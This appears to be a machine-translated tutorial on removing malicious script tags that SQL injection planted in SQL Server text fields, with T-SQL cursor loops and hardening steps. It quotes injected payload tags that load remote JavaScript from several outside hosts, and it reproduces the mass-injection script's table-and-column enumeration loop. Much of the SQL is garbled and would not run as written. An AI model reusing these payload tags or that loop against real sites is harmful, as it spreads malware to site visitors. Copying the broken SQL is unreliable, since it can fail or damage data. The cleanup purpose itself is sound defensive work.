Clear some of the sqlsever in the horse field, now summarize sqlsever batch replace database Hang horse field a text, hope can help people in need.
"Processing Method"
1, the first backup data to prevent the deletion of the horse field, the loss of data;
2, to hang the table of the field text is less than 8000 to execute the following statement (many of the software and methods on the Internet are for text less than 8000, this solution you can refer to)
The code is as follows: The table news field context Mount horse field is
<script src=http://c.n%75clear3.com/css/c.js></script>
Copy Code code as follows:
Update News set Context=replace (context, ' <script src=http://c.n%75clear3.com/css/c.js></script> ', ')
The Mount horse field is cleared after execution.
3, but some fields, such as content fields and more than 8000 characters of the varchar field, you need to perform
The code is as follows:
Copy Code code as follows:
Update news Set Context=replace (the context as varchar (8000)), ' <script src=http:/c.nuclear3.com/css/c.js> < /script> ', ' "
4, sometimes a large amount of time, will bring to the database suspended animation phenomenon, we can add the interval batch execution, each execution 10,000
Copy Code code as follows:
Update News
Set Context=replace (the context as varchar (8000)), ' <script src=http:/c.nuclear3.com/css/c.js> </script > ', ')
where Id>1 and id<10000
The above problems are generally SQL database, this is the SQL database specific injection vulnerabilities.
In fact, we from the source in all the database link request to do the corresponding filter, will be from the database entrance to solve the problem of horse, this requires the programmer's program logic must be meticulous.
ASP has a lot of database management procedures, such as db007, etc.
PHP, many mature systems have their own batch replacement function, such as Dedecms
How to remove the fastest speed?
"<script src=http://www.jb51.net/mm.js> </script>"
---------------------------------------------------------------
Enter SQL Query Analyzer
Select your database
The first step: SQL table to modify the owner of the DBO
Copy Code code as follows:
exec sp_msforeachtable ' exec sp_changeobjectowner '? ', ' the ' dbo '
Step Two: Unified delete the field is hanging JS
Copy Code code as follows:
declare @delStr nvarchar (500)
Set @delStr = ' <script src=http://www.jb51.net/mm.js> </script> '
SET NOCOUNT ON
declare @tableName nvarchar (MB), @columnName nvarchar (m), @tbID int, @iRow int, @iResult int
declare @sql nvarchar (500)
Set @iResult =0
DECLARE cur cursor FOR
Select Name,id from sysobjects where xtype= ' U '
Open cur
FETCH NEXT from cur into @tableName, @tbID
While @ @fetch_status =0
Begin
DECLARE CUR1 cursor FOR
--xtype in (231,167,239,175,35) is a char,varchar,nchar,nvarchar,text type
Select name from syscolumns where Xtype in (231,167,239,175,35) and id= @tbID
Open Cur1
FETCH NEXT from Cur1 into @columnName
While @ @fetch_status =0
Begin
Set @sql = ' Update [' + @tableName + '] set [' + @columnName + ']= replace ([' + @columnName + '], ' + @delStr + ', ' ' WHERE [' + @columnName + '] like '% ' + @delStr + '% '
EXEC sp_executesql @sql
Set @iRow =@ @rowcount
Set @iResult = @iResult + @iRow
If @iRow > 0
Begin
print ' table: ' + @tableName + ', column: ' + @columnName + ' updated ' +convert (varchar), @iRow) + ' record; '
End
FETCH NEXT from Cur1 into @columnName
End
Close Cur1
Deallocate Cur1
FETCH NEXT from cur into @tableName, @tbID
End
print ' Database total ' +convert (varchar, @iResult) + ' record is updated!!! '
Close cur
Deallocate cur
SET NOCOUNT OFF
DECLARE @t varchar (555), @c varchar (555), @inScript varchar (8000)
Set @inScript = ' <script src=http://3b3.org/c.js></script> '
Declare table_cursor cursor FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype= ' U ' and (b . xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
Open Table_cursor
FETCH NEXT from Table_cursor into @t,@c
while (@ @fetch_status =0)
Begin
EXEC (' Update [' +@t+ '] set [' +@c+ ']=replace (CAST ([' +@c+ '] as varchar (8000)), ' + @inScript + ', ']
FETCH NEXT from Table_cursor into @t,@c
End
Close Table_cursor
Deallocate table_cursor;
---------------------------------------------------------------
Completely eliminate SQL injection
1. Do not use the SA user to connect to the database
2, create a new public rights database user, and use this user to access the database
3. [Role] Remove role public to select access to sysobjects and syscolumns objects
4, [user] User name-> Right-Properties-permissions-sysobjects and syscolumns above "x"
5, through the following code detection (failure to represent the right, if it can be shown that the permissions are too high):
Copy Code code as follows:
DECLARE @T varchar (255),
@c varchar (255)
DECLARE table_cursor curs OR for
Select a.name,b.name from sysobjects a,syscolumns b
where a.id=b.id and a.xtype= ' U ' and (b.xtype=99 O R b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN table_cursor
FETCH NEXT from table_cursor into @t,@c
WH ILE (@ @FETCH_STATUS =0)
BEGIN print @c
FETCH NEXT from table_cursor to @t,@c
End
Close Table_curso R
Deallocate table_cursor
